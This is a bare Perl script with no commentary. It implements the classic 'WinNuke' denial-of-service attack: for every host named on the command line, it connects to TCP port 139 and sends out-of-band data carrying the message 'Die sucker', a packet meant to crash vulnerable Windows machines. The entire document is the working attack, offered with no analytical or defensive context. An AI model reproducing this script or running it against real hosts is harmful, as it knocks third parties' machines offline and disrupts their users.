use IO::Socket;

foreach (@ARGV) {
    IO::Socket::INET
	->new(PeerAddr=>"$_:139",Proto=>'tcp')
	->send("Die sucker", MSG_OOB)
}
